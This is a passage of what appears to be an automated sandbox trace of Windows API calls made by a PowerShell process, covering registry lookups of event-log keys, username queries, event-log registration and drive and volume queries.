phkResult=0xccf78*=0x34c) returned 0x0 [0024.996] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf78 | out: phkResult=0xccf78*=0x350) returned 0x0 [0024.996] RegCloseKey (hKey=0x350) returned 0x0 [0024.996] RegCloseKey (hKey=0x320) returned 0x0 [0024.996] RegCloseKey (hKey=0x34c) returned 0x0 [0025.005] CoTaskMemAlloc (cb=0x804) returned 0x1b713fe0 [0025.005] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b713fe0, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.006] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.006] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.025] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xccec8 | out: phkResult=0xccec8*=0x354) returned 0x0 [0025.025] RegQueryInfoKeyW (in: hKey=0x354, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xcce3c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce38, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xcce3c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce38*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.025] CoTaskMemFree (pv=0x0) [0025.025] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.025] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x0, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.025] CoTaskMemFree (pv=0x2a4120) [0025.025] CoTaskMemFree (pv=0x0) [0025.025] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.025] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x1, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.025] CoTaskMemFree (pv=0x2a4120) [0025.025] CoTaskMemFree (pv=0x0) [0025.025] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.025] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x2, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.025] CoTaskMemFree (pv=0x2a4120) [0025.025] CoTaskMemFree (pv=0x0) [0025.025] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.026] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x3, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.026] CoTaskMemFree (pv=0x2a4120) [0025.026] CoTaskMemFree (pv=0x0) [0025.026] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.026] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x4, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.026] CoTaskMemFree (pv=0x2a4120) [0025.026] CoTaskMemFree (pv=0x0) [0025.026] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.026] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x5, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.026] CoTaskMemFree (pv=0x2a4120) [0025.026] CoTaskMemFree (pv=0x0) [0025.026] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.026] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x6, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.026] CoTaskMemFree (pv=0x2a4120) [0025.026] CoTaskMemFree (pv=0x0) [0025.026] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.026] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x7, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.026] CoTaskMemFree (pv=0x2a4120) [0025.026] CoTaskMemFree (pv=0x0) [0025.026] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.026] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x8, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.026] CoTaskMemFree (pv=0x2a4120) [0025.026] CoTaskMemFree (pv=0x0) [0025.026] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x358) returned 0x0 [0025.026] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.026] RegOpenKeyExW (in: hKey=0x354, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x35c) returned 0x0 [0025.026] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.026] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x360) returned 0x0 [0025.026] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.026] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x364) returned 0x0 [0025.027] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.027] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x368) returned 0x0 [0025.027] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.027] RegOpenKeyExW (in: hKey=0x354, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x36c) returned 0x0 [0025.027] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.027] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x5 [0025.030] RegOpenKeyExW (in: hKey=0x354, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x370) returned 0x0 [0025.030] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.030] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x374) returned 0x0 [0025.030] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x378) returned 0x0 [0025.030] RegCloseKey (hKey=0x378) returned 0x0 [0025.030] RegCloseKey (hKey=0x354) returned 0x0 [0025.030] RegCloseKey (hKey=0x374) returned 0x0 [0025.031] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xccec8 | out: phkResult=0xccec8*=0x374) returned 0x0 [0025.031] RegQueryInfoKeyW (in: hKey=0x374, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xcce3c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce38, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xcce3c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce38*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] CoTaskMemFree (pv=0x0) [0025.031] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x0, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x1, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x2, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x3, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x4, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x5, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x6, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x7, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x8, lpName=0x2a4120, lpcchName=0xccec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xccec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.031] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x354) returned 0x0 [0025.031] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.031] RegOpenKeyExW (in: hKey=0x374, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x378) returned 0x0 [0025.031] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.031] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x37c) returned 0x0 [0025.032] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.032] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x380) returned 0x0 [0025.032] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.032] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x384) returned 0x0 [0025.032] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.032] RegOpenKeyExW (in: hKey=0x374, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x388) returned 0x0 [0025.032] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.032] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x5 [0025.033] RegOpenKeyExW (in: hKey=0x374, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x38c) returned 0x0 [0025.033] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x0) returned 0x2 [0025.033] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x390) returned 0x0 [0025.033] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccf28 | out: phkResult=0xccf28*=0x394) returned 0x0 [0025.033] RegCloseKey (hKey=0x394) returned 0x0 [0025.033] RegCloseKey (hKey=0x374) returned 0x0 [0025.033] RegCloseKey (hKey=0x390) returned 0x0 [0025.034] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xcce98 | out: phkResult=0xcce98*=0x390) returned 0x0 [0025.034] RegQueryInfoKeyW (in: hKey=0x390, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xcce0c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce08, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xcce0c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xcce08*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] CoTaskMemFree (pv=0x0) [0025.034] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x0, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x1, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x2, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x3, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x4, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x5, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x6, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x7, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x8, lpName=0x2a4120, lpcchName=0xcce98, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xcce98, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0025.034] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x374) returned 0x0 [0025.034] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x2 [0025.034] RegOpenKeyExW (in: hKey=0x390, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x394) returned 0x0 [0025.034] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x2 [0025.034] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x398) returned 0x0 [0025.034] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x2 [0025.035] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x39c) returned 0x0 [0025.035] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x2 [0025.035] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x3a0) returned 0x0 [0025.035] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x2 [0025.035] RegOpenKeyExW (in: hKey=0x390, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x3a4) returned 0x0 [0025.035] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x2 [0025.035] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x5 [0025.036] RegOpenKeyExW (in: hKey=0x390, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x3a8) returned 0x0 [0025.036] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x0) returned 0x2 [0025.036] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x3ac) returned 0x0 [0025.036] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xccef8 | out: phkResult=0xccef8*=0x3b0) returned 0x0 [0025.036] RegCloseKey (hKey=0x3b0) returned 0x0 [0025.036] RegCloseKey (hKey=0x390) returned 0x0 [0025.036] RegCloseKey (hKey=0x3ac) returned 0x0 [0025.040] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b840008 [0025.043] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3bccf58*="WSMan", lpRawData=0x3bcccc8) returned 1 [0025.054] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.054] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.054] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.055] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.055] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3bd2440*="Alias", lpRawData=0x3bd21d0) returned 1 [0025.056] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.056] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.056] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.056] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.057] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3bd79e8*="Environment", lpRawData=0x3bd7778) returned 1 [0025.057] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.057] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.058] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.058] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0025.058] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xccd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0025.058] SetErrorMode (uMode=0x1) returned 0x1 [0025.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0xccf40 | out: lpFileInformation=0xccf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.058] SetErrorMode (uMode=0x1) returned 0x1 [0025.059] GetLogicalDrives () returned 0x4 [0025.061] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xccaa0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.061] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0025.061] SetErrorMode (uMode=0x1) returned 0x1 [0025.062] CoTaskMemAlloc (cb=0x68) returned 0x1b6f84f0 [0025.062] CoTaskMemAlloc (cb=0x68) returned 0x1b6f8560 [0025.062] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1b6f84f0, nVolumeNameSize=0x32, lpVolumeSerialNumber=0xccf10, lpMaximumComponentLength=0xccf0c, lpFileSystemFlags=0xccf08, lpFileSystemNameBuffer=0x1b6f8560, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xccf10*=0x705ba84c, lpMaximumComponentLength=0xccf0c*=0xff, lpFileSystemFlags=0xccf08*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0025.063] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, 